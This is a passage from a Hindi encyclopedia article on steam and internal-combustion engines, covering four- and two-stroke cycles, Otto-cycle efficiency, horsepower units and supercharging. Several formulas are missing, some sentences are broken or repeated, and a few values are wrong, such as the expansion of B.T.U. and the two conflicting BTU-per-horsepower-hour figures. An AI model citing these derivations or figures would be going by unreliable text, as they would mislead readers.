नौ इंजन (marine engines)-निम्न गतिवाले भारवाहक जलपोतों (ships) में बड़े नोदक (propellers) लगाए जाते हैं एवं ये नोदक प्रति मिनट 80 परिक्रमण करते हैं। इस तरह के जहाजों में भाप इंजन बहुत ही उपयुक्त हैं। उच्च गति पर चलनेवाले जहाजों में भाप इंजन की जगह भाप टरबाइन का व्यवहार किय जा रहा है। समुद्रयान में व्यवहार में लाए जानेवाले भाप इंजन में त्रिप्रसार प्रकार के इंजन प्रसिद्ध हैं। समुद्रयान इंजन सर्वदा पृष्ठ संघनक (surface conderser) द्वारा युक्त होता है, जिसमें पीतल की नलिकाएँ लगी रहती हैं। पंप के द्वारा समुद्र का जल संघनित्र में लाया जाता है। समुद्र के जल से ही संघनित्र में आई हुई भाप का संघनन होता है। यद्यपि आजकल समुद्रयानों में अंतर्दहन इंजन, भाप टरबाइन एवं गैस टरबाइन व्यवहार में लाया जा रहा है, फिर भी कुछ खास अवस्थाओं में भाप इंजन का व्यवहार अत्यंत आवश्यक हो जाता है।

रेल इंजन (locomotive engine)-रिचर्ड ट्रेविथिक ने भाप इंजन का सर्वप्रथम उपयोग रेल इंजन के निर्माण में किया। किंतु आर्थिक कठिनाई के कारण उनका प्रयास सफल न हो पाया। अंतत: जार्ज और राबर्ट स्टीवेंसन (पिता और पुत्र) को ही एक सफल रेल इंजन चित्र 7 बनाकर उससे 1829 ई. में लोवरपुल और मैनचेस्टर के बीच रेलगाड़ी चलाने का श्रेय प्राप्त हुआ। जलयानों के लिए भाप इंजन का प्रथम उपयोग 1812 ई. में राबर्ट पुलटन ने किया था। साधारण रेल इंजन में क्षैतिज भाप इंजन का व्यवहार होता है। यह इंजन रेल इंजन बॉयलर (locomotive boiler) के पास ठोस आधार पर लगा रहता है। प्राय: सभी रेल इंजनों में संघनित्र नहीं रहता है। कार्य करने के बाद भाप को सीधे वायुमंडल में छोड़ दिया जाता है। इस तरह के इंजन दो प्रकार के होते है: (1) बहि:सिलिंडर इंजन, जिसमें सिलिंडर दूर तक फैले रहते हैं और ये इंजन के फ्रेम के बाहर ही लगाए जाते हैं तथा (2) अंत: सिलिंडर इंजन, जिसमें सिलिंडर इंजन के फ्रेम के अंतर्गत ही एक दूसरे की बगल में रखे जाते हैं। आधुनिक डिज़ाइन में इन दोनों प्रकारों को जोड़ दिया जाता है, अर्थात्‌ कुछ सिलिंडर इंजन के फ्रेम के अंदर रहते हैं एवं कुछ सिलिंडर बाहर रहते हैं।

एकदिग्वाही इंजन (uniflow engine)-चित्र 8. में इस प्रकार के इंजन के मुख्य सिद्धांत दर्शाए गए हैं। स्ट्रोक के आरंभ में बॉयलर से भाप यंत्र द्वारा नियंत्रित वाल्व से होकर सिलिंडर में प्रवेश करती है और पिस्टन को दाएँ ओर ढकेलती है। यह वाल्व (4) विच्छेद होते ही बंद हो जाता है एवं प्रसारित होती है। स्ट्रोक के अंत में पिस्टन का बायाँ भाग निकास द्वार (2) को खोल देता है। तब भाप इस द्वार से निकल जाती है। जब यह होता है, उस समय पिस्टन (1) का दायाँ भाग अंतर स्थान (clearance space) पर पहुँच जाता है, जिससे वाल्व (3) द्वारा ताजा भाप सिलिंडर के दाएँ भाग में प्रवेश करती है। साधारण भाप इंजन के विपरीत, एकदिग्वाही इंजन में भाप कार्य करने के लिए जिस दिशा में चलती है, उसी दिशा में चलकर वह कार्य करने के बाद निकल जाती है। भाप की एक ही दिशावाली चाल के कारण इस प्रकार के इंजन को 'एकदिग्वाही इंजन' की संज्ञा दी गई हैं। इसमें भाषा का संघनन कम होता है, जिसके कारण बहुत तरह की हानियाँ होने से बच जाती हैं। यह देखा गया है कि भाप की समान मात्रा द्वारा एकदिग्वाही इंजन में किया गया कार्य बहुपद इंजन (multistage engine) के कई सिलिंडरों में किए गए संपूर्ण कार्य के बराबर होता है।

आधुनिक भाप इंजन-जेम्स वाट के भाप इंजन में अनेक परिवर्तन किए गए हैं, यद्यपि प्रमुख सिद्धांत अभी भी वही है। परिवर्तनों की आवश्यकता भाप इंजन के अनेकानेक कायाँ में प्रयुक्त होने के कारण हुई। वाट ने भाप इंजन में निम्न दाब काम में लिए थे क्योंकि उन्हें विस्फोट का डर था। लेकिन आजकल सर्वत्र उच्च दाब इंजन ही प्रयुक्त किए जाते हैं क्योंकि इनकी दक्षता भी निम्न दाब इंजन की अपेक्षा अधिक होती है।

आधुनिक इंजन (चित्र 9) के संघनित्र में अनेक नलियाँ होती हैं जिनमें एक पंप द्वारा शीतल जल प्रवाहित कराया जाता है। एक और पंप भाप के संघनन से बने पानी और हवा को निकालने के लिए लगा होता है।

अंतर्दहन इंजन-के आविष्कार का विचार मध्ययुग से प्रारंभ हुआ। 1680ई. में डच वैज्ञानिक क्रिश्चियन हाइगेस ने एक ऊर्ध्व सिलिंडर और पिस्टन के इंजन का सुझाव रखा था, जिसमें बारूद के विस्फोट से पिस्टन ऊपर चढ़े। किंतु इस तरह का इंजन कभी काम में नहीं आया। बाद में दहनशीन गैसों तथा खनिज तैलों के आविष्कार से उनका सुझाव व्यावहारिक हो गया क्योंकि बारूद की जगह ईधन देने की समस्या सुलझ गई। लेकिन फिर भी इस वर्ग के इंजनों को व्यावहारिक उपयोगिता के अनुकूल बनाने में अनेक वर्षो के प्रायेगिक और सैद्धांतिक अध्ययन की आवश्यकता हुई।

अंतर्दहन इंजनों में ईधन के रूप में गाढ़े मिट्टी के तेल (डीजल आयल), ऐल्कोहल अथवा प्राकृतिक या कृत्रिम गैस इत्यादि का प्रयोग होता है। लेकिन साधारणत: पेट्रोल और गाढ़े मिट्टी के तेल का ही उपयोग होता है।

अंतर्दहन इंजन दो सिद्धांतो पर कार्य करते हैं--(1) चतुर्घात चक्र और (2) द्विघात चक्र।

चतुर्घात चक्र का इंजन-प्रत्येक इंजन में एक खोखला बेलन होता है, जिसे सिलिंडर कहते हैं (चित्र 10)। सिलिंडर के भीतर एक पिस्टन चलता है, जिसे हम मुषली कह सकते हैं। इस पिस्टन का काम ठीक वहीं होता है जो बच्चों की रंग खेलने की पिचकारी के भीतर चलनेवाली डाट का। पिस्टन ऐल्यूमिनियम या इस्पात का बनता है और इसमें इस्पात की कमानीदार चूड़ियाँ (रिंग्स) लगी रहती हैं, जिससे वायु या गैस, पिस्टन के एक ओर से दूसरी ओर नहीं जा सकती। सिलिंडर का माथा (हेड) बंद रहता है, परंतु इसमें दो (वाल्व) रहते हैं। एक के खुलने पर वायु, या वायु और पेट्रोल दोनों, भीतर आ सकते हैं। दूसरे के खुलने पर सिलिंडर के भीतर की वायु या गैस बाहर निकल सकती है। माथे में एक स्पार्क प्लग भी लगा रहता है जिसके सिरे पर दो तार होते हैं। उचित समयों पर इन दोनों तारों के बीच बिजली की चिनगारी निकलती है, जिसका नियंत्रण इंजन के चलते रहने पर अपने आप होता रहता बिजली के कारण उत्पन्न होती है, जो साधारणत: एक बैटरी या अन्य विद्युद्यंत्र से निकलती हैं। इस प्रबंध को क्रैंक कहते हैं। क्रैंक के कारण पिस्टन के आगे पीछे चलने पर इंजन की धुरी घूमती है। ईधन के बार बार जलने से पिस्टन बहुत गरम न हो जाए इस विचार से सिलिंडर की दीवारें होती हैं और उनके बीच पंप द्वारा पानी प्रवाहित होता रहता है। मोटरकार आदि में एक के बदले चार, छह या आठ सिलिंडर रहते हैं और लोहे की जिस इष्टिका में ये बने रहते हैं उसे ब्लॉक कहते हैं।

चित्र10. अंतर्दहन इंजन के मुख्य भाग

1. इष्टिका (ब्लॉक); 2. संबंधक दंड (कनेक्टिंग रॉड); 3. सिलिंडर; 4. पिस्टन का छल्ला (पिस्टनरिंग); 5.

ठंढा करने का पानी; 6. पिस्टन 7. सिलिंडर का माथा (हेड); 8. स्पार्क प्लग; 9. कपाट (वाल्व);

10. निष्कास मार्ग; 11. ढक्कन; 12. कैम; 13. क्रैंक धुरी; 14. तेल का कड़ाहा (ऑयल पैन)।

चित्र 11. चिनगारी क्रैंक

क्रैंक का काम है पिस्टन के आगे पीछे चलने की गति

को धुरी के अक्षघूर्णन में बदलता।

ऊपर बताए गए वाल्व, कमानी के कारण चिपककर, वायु आदि के मार्ग को बंद रखते हैं, परंतु वाल्व कैम द्वारा उचित समय पर उठ जाता है, जिससे वायु या गैस के आने का मार्ग खुल जाता है। कैम जिस धुरी पर जड़े रहते हैं उसको कैम-धुरी (कैम-शैफ्ट) कहते हैं। यह धुरी इंजन से ही चलती रहती है और वाल्वों को उचित समयों पर खोलती रहती है। (कैम इस्पात के टुकड़े होते हैं, जिनका रूप कुछ कुछ पान की आकृति का होता है; जब कैम का चौड़ा भाग वाल्व के तने (स्टेम) के नीचे रहता है तो वाल्व बंद रहता है; जब इसका लंबा भाग घूमकर वाल्व के तने के नीचे आ जाता है तो वाल्व उठ जाता है। )

चित्र 12. कैम धुरी

1,2,3. विविध कैम; 4. संचालक चक्र। पिस्टन इंजन की धुरी से संबंधक दंड (कनेक्टिंग रॉड) द्वारा संबंधित रहता है।

धुरी सीधी न रहकर एक स्थान पर चिमटे की तरह टेढ़ी होती

श्

चित्र 13. कैम का कार्य

इन चित्रों में दिखाया गया है कि कैम किस प्रकार वाल्व उठानेवाले दंड को ऊपर नीचे चलाता है।

1. दंड;2. नीचे पहुँचने पर स्थिति; 3. कैम की नोक; 4. कैमधुरी; 5.ऊँचे पहुँचने पर स्थिति;

6. फिर नीचे पहुँचने पर स्थिति। वक्रकार बाण से कैम के घुमने की दिशा दिखाई गई है।

श्

इंजन की विविध संधियों को, जहाँ एक पुरजा दूसरे पर घूमता या चलता रहता है, बराबर तेल से तर रखना नितांत आवश्यक है। इसीलिये सर्वत्र स्नेहक तेल (ल्यूब्रिकेटिंग ऑयल) पहुँचाने का प्रबंध रहता है।मोटरकारों में इंजन का निचला हिस्सा बहुधा थाल के रूप में होता है जिसमें तेल डाल दिया जाता है। प्रत्येक चक्कर में क्रैंक तेल में डूब जाता है और छींटे उड़ाकर सिलिंडर को भी तेल से तर कर देता है। अन्य स्थानों में तेल पहुँचाने के लिए पंप लगा रहता है।

चित्र 10 में इंजन को काटकर उसके विविध भाग दिखाए गए हैं।

चित्र 14. चतुर्घात अंतर्दहन इंजन का सिद्धांत

क. अंतर्ग्रहत घात, जिससे सिलिंडर में ईधन और हवा आती है; 1. अंतर्ग्रहण वाल्व;

2. स्पार्क प्लग; 3. निष्कास वाल्व; 4. पिस्स्टन; 5. संबंधक दंड (कनेक्टिग रॉड);

6. फ्लाईहील। ख. संपीडन घात, जिससे ईधन और वायु का मिश्रण संपीडित

होता है। ग. शक्ति घात, जिसमें ईधन जल उठता है और पिस्टन को

बलपूर्वक ठेलता है। घ. निष्कास घात, जिससे जला ईधन बाहर

निकल जाता है।

चतुर्घात चक्रवाले इंजन का कार्यकरण-चतुर्घात चक्र (फ़ोर स्ट्रोक साइकिल) के अनुसार काम करनेवाले इंजनों में पिस्टन के चार बार चलने पर (दो बार आगे, दो बार पीछे चलने पर) इसके कार्यक्रम का एक चक्र पूरा होता है। ये चार निम्नलिखित हैं:

(क) सिलिंडर में पिस्टन माथे से दूर जाता हैं; इस समय अंतर्ग्रहरणवाल्व (इन-टेक-वाल्व) खुल जाता है औ वायु, तथा साथ में उचित मात्रा में पेट्रोल (या अन्य ईधन), सिलिंडर के भीतर खिंच आता है, (चित्र 14)। इसे अंतर्ग्रहरण घात कहते हैं। (ख) जब पिस्टन लौटता है तो अंतर्ग्रहण वाल्व बंद हो जाता है; दूसरा वाल्व भी (जिसे निष्कास वाल्व कहते हैं) बंद रहता है। इसलिए वायु और पेट्रोल मिश्रण को बाहर निकलने के लिए कोई मार्ग नहीं रहता। अत: वह संपीडित (कंप्रेस्ड) हो जाता है। इसी कारण इसे संपीडन घात (कंप्रेशन स्ट्रोक) कहते हैं। ज्यों ही पिस्टन लौटने लगता है, स्पार्क प्लग से चिनगारी निकलती है और संघनित पेट्रोल-वायु-मिश्रण जल उठता है। इससे इतनी गरमी और दाब बढ़ती है कि पिस्टन को जोर का धक्का लगता है और पिस्टन हठात्‌ माथे से हटता हे। इस हटने में पिस्टन और उससे संबंद्ध प्रधान धुरी (मेन शैफ्ट) भी बलपूर्वक चलते हैं और बहुत सा काम कर सकते हैं। पेट्रोल के जलने की ऊर्जा इसी प्रकार धुरी के घूमने में परिवर्तित होती है। धुरी पर एक भारी चक्का जड़ा रहता है जिसे फ्लाईहील कहते हैं। यह भी अब वेग से चलने लगता है।

फ्लाईहील की झोंक से पिस्टन जब फिर माथे की ओर चलता है तो दूसरा वाल्व खुल जाता है। इस वाल्व को निष्कास वाल्व (एग्ज़ॉस्ट वाल्व) कहते हैं। इसके खुले रहने के कारण और पिस्टन के चलने के कारण, पेट्रोल के जलने से उत्पन्न सब गैंसे बाहर निकल जाती हैं।

अब फ्लाईहील की झोंक से फिर पिस्टन वायु और पेट्रोल चूसता है (चूषण घात), उसे संपीडित करता है (संपीडन घात), ईधन जलकर शक्ति उत्पन्न करता है (शक्ति घात) और जली गैसें बाहर निकलती हैं (निष्कास घात)। यही क्रम तब तक चालू रहता है जब तक स्विच बंद करके चिनगारियों को बंद नहीं कर दिया जाता।

इंजन को चालू करने के लिए इसकी प्रधान धुरी में हैंडिल लगाकर घुमाना पड़ता हे, या बैटरी द्वारा संचालित विद्युतमोटर से (जिसे सेल्फ स्टार्टर कहते हैं) उसे घुमाना पड़ता है। एक बार फ्लाईहील में शक्ति आ जाने पर इंजन चलने लगता है।

डीज़ल इंजनों में चूषण घात में पिस्टन केवल हवा खींचता है, ईधन नहीं; ईधन को शक्ति घात के आरंभ में सिलिंडर में सूक्ष्म नली द्वारा, पंप की सहायता से, बलपूर्वक छोड़ा जाता है और वह, संपीडित वायु के तप्त रहने के कारण, बिना चिनगारी लगे ही, जल उठता है।

यद्यपि कार्यकरण पदार्थ (ईधन-वायु-मिश्रण) का घनत्व विभिन्न इंजनों में विभिन्न होता है, तो भी हम दाब द और आयतन आ का संबंध चित्र 15 के अनुसार निरूपित कर सकते हैं। चूषण घात में अंतर्ग्रहण वाल्व खुला रहता है। इसलिए हम कल्पना कर सकते हैं कि सिलिंडर में दाब वहीं है जो वायुमंडल की है। चित्र 16 में रेखा 0-1 इस दशा को निरूपित करती है। संघनन घात में दाब और आयतन का संबंध रेखा 1-2 से निरूपित है; आयतन कम होता है और दाब बढ़ती है। संघनन आइसेंट्रॉपिक होता है, अर्थात्‌ संपीडन इतना शीघ्र संपन्न होता है कि हम मान सकते हैं कि कोई गरमी बाहर नहीं जाने पाती और भीतरी गैसों की ऊर्जा में कोई कमी नहीं होने पाती। ईधन के जलने से दाब एकाएक बढ़ जाती है और यह रेखा 2-3 से निरूपित है; आयतन उतना ही रह जाता है। अब शक्ति घात में जलने के उत्पन्न गैसें पिस्टन को ढकेलती हुई प्रसरित होती है। यह रेखा 3-4 से निरूपित है। निष्कास-वाल्व के खुलने पर दाब घटकर वायुमंडलीय दाब के बराबर हो जाती है। यह रेखा 4-1 से निरूपित है। निष्कास घात में दाब उतनी ही रह जाती है, परंतु आयतन घटता है। यह रेखा 1-0 से निरूपित है। इसके बाद कार्यचक्र की आवृत्ति होती है।

चित्र 15


चित्र 16

चतुर्घात इंजन में आयतन (आ) द्विघात इंजन में आयतन और

और दाब (दा) का संबंध। दाब का संबंध

द्विघात चक्र-ऊपर बताए गए इंजन में निष्कासघात का एकमात्र उद्देश्य है सिलिंडर को खाली करना, जिसमें ईधन और वायु फिर एक बार चूसी जा सके। परंतु शक्ति घात के अंतिम खंड में ही जली गैसों के निकालने की प्रबंध किया जा सकता है। जली गैसें बाहर निकालने की क्रिया को तब सम्मार्जन (स्कैवंजिंग) कहते हैं। इस व्यवस्था से पिस्टन के दो घातों में ही इंजन के कार्यक्रम का एक चक्र पूरा हो जाता है। इसलिए इस चक्र को द्विघातचक्र (टू स्ट्रोक साइकिल) कहते हैं। चित्र 16 में इसकी क्रिया दिखाई गई है। बिंदु 3 पर संपीडन की क्रिया समाप्त हो चुकी है। जलने के कारण दाब बढ़ती है (रेखा 3-4)। अब जली गैसों का प्रसार होता हैं (जिससे प्रधान धुरी और फ्लाईहील में ऊर्जा पहुँचती है)। यह रेखा 4-5 से निरूपित है। पिस्टन के अपनी दौड़ के अंत तक पहुँचने के पहले ही निष्कास वाल्व खुल जाता है और सिलिंडर में वायु, या वायु तथा ईधन का मिश्रण, प्रवाहित कर जली गैंसे निकाल दी जाती हैं (रेखा 5-1)। अब पिस्टन माथे की ओर लौटता है, परंतु निष्कास वाल्व तुरंत नहीं बंद होता। इस विलम्ब का उद्देश्य यह है कि जली गैसों के निकलने के लिए अपेक्षित समय मिल जाए। चित्र के बिंदु 2 पर निष्कास वाल्व बंद होता है। तब दाब बढ़ने लगती है।

चतुर्वात चक्र में प्रधान धुरी के दो चक्करों में एक शक्ति घात होता है; द्विघात चक्र के प्रत्येक चक्कर में एक शक्ति घात होता है। तो भी नाप में अपने ही बराबर चतुर्घात इंजन की अपेक्षा दुगुनी ऊर्जा उत्पन्न करने के बदले द्विघात-इंजन केवल 70% से 90% तक अधिक ऊर्जा उत्पन्न करता है। कारण ये है: (1) अपूर्ण संमार्जन, (2) दी हुई नाप के सिलिंडर में अपेक्षाकृत कम ही ईधन-वायु-मिश्रण का पहुँच पाना, (3) ईधन का अधिक मात्रा में बिना जला रह जाना, (4)निष्कास वाल्व के शीघ्र खुल जाने से दाब का क्षय।

एकदिश और उमयदिश सक्रिय इंजन-अंतर्दहन इंजनों में (और आगे पीछे चलनेवाले पिस्टन युक्त अन्य इंजनों में भी) दो जातियाँ होती हैं, एकदिश सक्रिय (सिंगल-ऐक्टिंग) इंजन और उभयदिश सक्रिय (डबल-ऐक्टिंन) इंजन। एकदिश सक्रिय इंजनों में कार्यकरण पदार्थ (पेट्रोल, डीज़ल तेल, आदि) पिस्टन के केवल एक ओर रहता है; उभयदिश सक्रिय इंजनों में दोनों ओर। उनमें सिलिंडर लंबा रहता है और पिस्टन के दोनों के भागों में चूषण, संपीडन इत्यादि होता रहता है। अधिकांश अंतर्दह इंजन एकदिश सक्रिय होते हैं। उदाहरणत:, मोटरकारों में इंजन इसी प्रकार के होते हैं। परंतु बहुतेरे बड़े इंजन उभयदिश सक्रिय बनाए जाते हैं। एकदिश सक्रिय इंजन की अपेक्षा उभयदिश सक्रिय इंजन में लगभग दुगुनी ऊर्जा उत्पन्न होती है और नाप में मात्र ही वृद्धि होती परंतु उभददिश सक्रिय इंजनों के निर्माण में कई याँत्रिक कठिनाइयाँ पड़ती हैं। इसलिए केवल बड़ी नाव के इंजनों में ही उभयदिश सक्रिय इंजन लाभ दायक होते हैं। दूसरी ओर, वाष्प इंजन और वायु संपीडक साधारणत: उभयदिश सक्रिय बनाए जाते हैं, यद्यपि यह अनिवार्य नियम नहीं है।

चित्र 17 (क)


चित्र 17 (ख)

आदर्श ओटो चक्र में समऊर्जा आदर्श ओटो चक्र में आयतन

और ताप में संबंध और दाब का संबंध

ओटो चक्र-आज के अधिकांश अंतर्दहन इंजन ओटो चक्र (ओटो साइकिल) के सिद्धांत पर बनते हैं। गणना की सरलता के लिए हम कल्पना कर सकते हैं कि चक्र में दो क्रियाएँ समऊर्जिक (आइसेंट्रॉपकि) और दो स्थिरआयतनिक (ऐट कॉन्स्टैंट वॉल्यूम) होती हैं (चित्र 17)।

कल्पित चक्र के विश्लेषण में सुगमता के लिए मान लिया जाता है कि कार्यकरण पदार्थ केवल वायु है। यह भी मान लिया जाता है कि न तो चूषण घात होता है ओर न निष्कास घात। इस विश्लेषण को वायु प्रामाणिक विश्लेषण कहते हैं। वास्तविक इंजन में गैसों का निष्कास होता है। उसके बदले माना जाता है कि स्थिर आयतन पर गैसें ठंढी हो जाती हैं (चित्र 17 में रेखा 4-1)। कर्म का उतना ही होता है (घर्षण की उपेक्षा करने पर), चाहे गैसों का निष्कास किया जाए, चाहे उन्हें ठंढा किया जाए प्रत्येक दशा में ईधन के जलने से उत्पन्न उष्मा उतनी ही रहती है, मान लें उच। इसलिए चक्र के ऊर्जा समीकरण (एनर्जी ईक्वेशन), अर्थात्‌

उच- उछ=का

से स्पष्ट है कि तिरस्कृत ऊर्जा उछ भी दोनों दशाओं में समान होगी। विशिष्ट उष्मा (स्पेसिफ़िक हीट) को स्थिर मानने पर हम देखते हैं कि

उच=क विआ (ता3-ता2) बी.टी.यू.;

उछ=क विआ (ता1-ता4)

=क विअ (ता4 ता1) बी.टी.यू.,

जहाँ क पिस्टन में घुसी वायु की तौल है, विआ स्थिर आयतन पर विशिष्ट उष्मा है और ता1,ता2...चित्र के बिंदु 1,2,... पर ताप (टेंपरेपर) हैं। (बी.टी. यू. बोर्ड ऑव ट्रेड यूनिट के लिए लिखा गया है।) विशुद्ध (नेट) कर्म का=åउ। इसलिए

का=कविआ (ता3-ता2)-क विआ (ता4-ता1) बी.टी.यू.। उष्मीय दक्षता (थर्मल एफ़िशेन्सी) द=का उच

मान लें विआ/विआ=नि, जहाँ नि स्थिर दाब और स्थिर आयतन पर विशिष्ट उष्माओं की निष्पति हैं। तो

ता4/ता3=(आ3/आ4) ि ल -1

और ता1/ता2=(आ2/आ1) ि ल -1।

परंतु आ3=आ2 और आ4=आ1। इसलिए

मान लें, स्थिरोष्म (अडायाबैटि) संपीडन-अनुपात, अर्थात्‌ आ1/आ2 अक्षर ष से निरूपित किया जाता है। तो

द=ओटो चक्र की कल्पित वायु प्रामाणिक दक्षता

सामर्थ्य और कर्म के एकक-जिस दर से ऊर्जा कर्म में रूपांतरित होती है उसे सामर्थ्य कहते हैं; यह समय के एक एकक में कर्म की मात्रा है। वह कर्म जो आगे पीछे चलनेवाले पिस्टन युक्त इंजन के पिस्टन पर किया जाता है, निर्दिष्ट कर्म (इंडिकेटेड वर्क) कहलाता है और निर्दिष्ट कर्म के अनुसार गणना किया हुआ सामर्थ्य निर्दिष्ट अश्वसामर्थ्य (इंडिकेटेड हॉर्स पावर) कहलाता है। इंजन की धुरी तक जितना कर्म पहुँचता है वह धुरी कर्म (शैफ्ट वर्क) अथवा ब्रेक कर्म (ब्रेक वर्क) कहलाता है और इस कर्म के अनुसार उत्पन्न सामर्थ्य को ब्रेक अश्वसामर्थ्य (ब्रेक हॉर्स पावर) कहते हैं। सामर्थ्य के लिए देश में प्रचलित एक अश्वसामर्थ्य (संक्षेप में असा, अंग्रेजी में एच.पी.) और किलोवाट (संक्षेप में किल्वा, के.डब्ल्यू.) हैं। परिभाषा और ऊर्जा तथा समय के एककों के संबंध से

1 असा=33,000 फुट-पाउंड/मिनट

=550 फुट-पाउंड/सेकंड

=2545 बी.टी.यू./घंटा

=42.42 बी.टी.यू./मिनट।

निश्चित समय तक एक अश्वसामर्थ्य का उत्पन्न होते रहना कर्म की एक निश्चित मात्रा निरूपित करता है। उदाहरण:1 अश्व सामर्थ्य का 1 मिनट तक काम करना =33,000 फुट-पाउंड। इसी प्रकार, 1 असाघंटा=2548 बी.टी.यू.। असा मिनट और विशेषकर असा घंटा बहुधा कर्म अथवा ऊर्जा नापने के लिए सुविधाजनक एकक होते हैं। एक किलोवाट पर्याप्त सूक्ष्मतापूर्वक 1.341 अश्वसामर्थ्य के बराबर माना जा सकता है; अथवा 1 अश्वसामर्थ्यउ0.746 किलोवाट। इसलिए

1 किल्वा=3413 बी.टी.यू. प्रति घंटा

और 1किल्वा-घंटा=3413 बी.टी.यू.।

उदाहरणत: ओटो चक्र से उत्पन्न सामर्थ्य नापने के लिए हमें यह ज्ञात होना चाहिए कि प्रति मिनट (अथवा अन्य किसी समय एकक में) कितने शक्ति घात होते हैं। मान लें, प्रत्येक मिनट में स शक्ति घात पूरे होते हैं (और यह आवश्यक नहीं है कि यह संख्या इंजन के चक्कर प्रति मिनट के बराबर हो)। फिर, मान लें, प्रत्येक घात में म फुट पाउंड कर्म होता है तब कर्म प्रति मिनट स म फुट पाउंड प्रति मिनट है और

निर्धारित सामर्थ्य-किसी अंतर्दहन इंजन के कितना सामर्थ्य प्राप्त हो सकता है, इसे निर्धारित करने के लिए कई आधार लिए जा सकते हैं। मोटरकार इंजन बनानेवाले अपने विज्ञपनों में अपने इंजन का महत्तम सामर्थ्य बताते हैं, जो तब प्राप्त होता है जब समस्त परिस्थितियाँ महत्तम रूप से अनुकूल होती हैं। परंतु औद्योगिक इंजन का निर्माता अपने इंजनों का सामर्थ्य साधारणत: लगभग महत्तम उष्मीय दक्षता पर उत्पन्न होनेवाले सामर्थ्य के अनुसार निर्धारित करता है। औद्योगिक इंजनों का सामर्थ्य इसी प्रकार निर्धारित करना उत्तम भी है। कारण यह है कि यदि इंजन निर्धारित सामर्थ्य पर चलाए जाएँगे तो ईधन का खर्च न्यूनतम होगा और फिर आवश्यकता होने पर कुछ समय तक वे अधिक सामर्थ्य पर भी काम कर सकेंगे।

कर (टैक्स) लगाने के लिए सरकार यह मानकर गणना करती है कि पिस्टन पर प्रति वर्ग इंच 67.2 पाउंड औसत कार्यकारी दाब (एम.इ.पी.) है, पिस्टन का वेग 1000 फुट प्रति मिनट है और इंजन चतुर्घात चक्र पर चलता है। इन कल्पनाओं के आधार पर अश्वसामर्थ्य का संनिकट मान निम्नांकित सूत्र से निकाला जा सकता है: जहाँ सं सिलिंडरों की संख्या है, और व्या सिलिंडर का व्यास इंचों में है। ध्यान देने योग्य बात है कि इंजन निर्माता ऐसे इंजन बनाने में सफल हुए हें जिनका वास्तविक सामर्थ्य सरकारी कर के लिए परिकलित सामर्थ्य के दुगुने से भी अधिक होता है।

सुपरचार्जर-ात्येक अंतर्दहन इंजन में प्राप्त सामर्थ्य इसपर निर्भर रहता है कि पिस्टन की एक दौड़ में जितना ईधन-वायु-मिश्रण सिलिंडर में प्रविष्ट होता है उसकी तौल क्या है। इसलिए जिन कारणों से यह तौल घटेगी उनसे इंजन का सामर्थ्य घटेगा। वास्तविक इंजन में ईधन-वायु-मिश्रण को घटाने बढ़ानेवाले यंत्र से, जिसे प्ररोध (्थ्राटल) कहते हैं, तथा अंतर्ग्रहण और निष्कास वाल्वों से मिश्रण की गति में कुछ बाधा पड़ती है। इसलिए मिश्रण को चूसते समय सिलिंडर में दाब वायुमंडलीय दाब से कम ही रह जाती है। फलत: उतना मिश्रण नहीं घुस पाता जितना सैद्धांतिक गणना में माना जाता है। सैद्धांतिक गणना में तो मान लिया जाता है कि सिलिंडर के भीतर मिश्रण की दाब वायुमंडलीय दाब के बराबर है। फिर, सिलिंडर का भीतरी पृष्ठ, तथा मिश्रणपूर्ण अपेक्षाकृत तप्त रहते हैं। इसलिए सिलिंडर में पहुँचने पर ईधन मिश्रण गरम हो जाता है। आयतन ताप-दाब नियम के अनुसार ताप बढ़ने के कारण सिलिंडर में मिश्रण की तौल उस तौल की अपेक्षा कम होती है जो ठंडे रहने पर होती। फिर, वास्तविक इंजन में सिलिंडर के छूट स्थान (क्लियरैंस स्पेस) में, निष्कास घात के पूर्ण हो जाने पर भी, गैसें आदि वायुमंडलीय दाब से अधिक दाब पर रह जाती हैं और चूषण घात के आरंभ में वे सिलिंडर में फैल जाती हैं। इनकी दाब वायुमंडलीय दाब के बराबर हो जाने के बाद ही चूषण का आरंभ होता है। इससे भी सिद्धांतनुसार निकली मात्रा से कम ही मिश्रण सिलिंडर में प्रवेश करता है। अंत में, इंजन समुद्रतल से जितनी ही अधिक ऊँचाई पर काम करेगा वहाँ वायुमंडलीय दाब उतनी ही कम होगी। इसलिए तौल के अनुसार जितना मिश्रण सिलिंडर में समुद्रतल पर प्रविष्ट हो सकेगा उससे कम ही मिश्रण ऊँचे स्थलों में प्रविष्ट हो पाएगा। आयतनीय दक्षता दआ के लिए निम्नलिखित सूत्र है: दआ

जहाँ दावा और ताबा क्रमानुसार वायुमंडलीय दाब और ताप हैं।

अंतर्दहन इंजन की आयतनीय दक्षता केवल ऊँचाई बढ़ने पर ही नहीं घटती, वह इंजन की चाल (स्पीड) बढ़ने पर भी घटती है। इसलिए दौड़ प्रतियोगिता में प्रयुक्त इंजनों और अधिक ऊँचाई पर काम करनेवाले इंजनों में बहुधा सुपरचार्जर लगा दिया जाता है। इस यंत्र में एक छोटा सा सेंट्रफुगल पंखा (ब्लोअर) रहता है जो ईधन-वायु-मिश्रण को सिलिंडर में वायुमंडलीय दाब के कुछ अधिक दाब पर ठूँस देता है। सुपरचार्जर लगाने से आयतनीय दक्षता बढ़ जाती है, यहाँ तक कि यह 1 से अधिक भी हो जा सकती है।

संपीडन अनुपात और ओटो इंजनों में अधिकस्फोटन-ओटो चक्र के विश्लेषण में यह दिखाया जा चुका है कि संपीडन अनुपात बढ़ाने से दक्षता बढ़ती है। वास्तविक इंजनों में भी यही प्रवृत्ति दिखाई पड़ती है। ओटो चक्र के अनुसार काम करनेवाले इंजनों में चूषण घात में वायु के साथ ही ईधन भी घुसता है और इसलिए संपीडन घात में भी वह वर्तमान रहता है। जब संपीडन अनुपात बहुत बड़ा रखा जाता है तो संपीडन के एक नियत मात्रा से अधिक होते ही ईधन मिश्रण में अधिस्फोट होता है, अर्थात्‌ ईधन स्वयं, बिना स्पार्क प्लग से चिनगारी आए, जल उठता है। फिर, यदि ऐसा न भी हुआ, तो स्पार्क प्लग की चिनगारी से जलना आरंभ होने पर संपीडन लहरें उठती हैं, जो चिनगारी के पास जलते हुए मिश्रण के आगे आगे चलती हैं। इन संपीडन लहरों के कारण चिनगारी से दूर का मिश्रण स्वयं जल उठ सकता है, जो अवांछनीय है। फिर, सिलिंडर में कहीं पेट्रोल आदि के जले अवशेष के दहकते रहने से, अथवा पिस्टन के भीतर बढ़े पेट्रोल आदि के जले अवशेष के दहकते रहने से, अथवा पिस्टन के भीतर बढ़े किसी अवयव की तप्त नोक से भी ईधन मिश्रण समय के पहले जल सकता है। जब कभी संपीडित मिश्रण समय से पहले जल 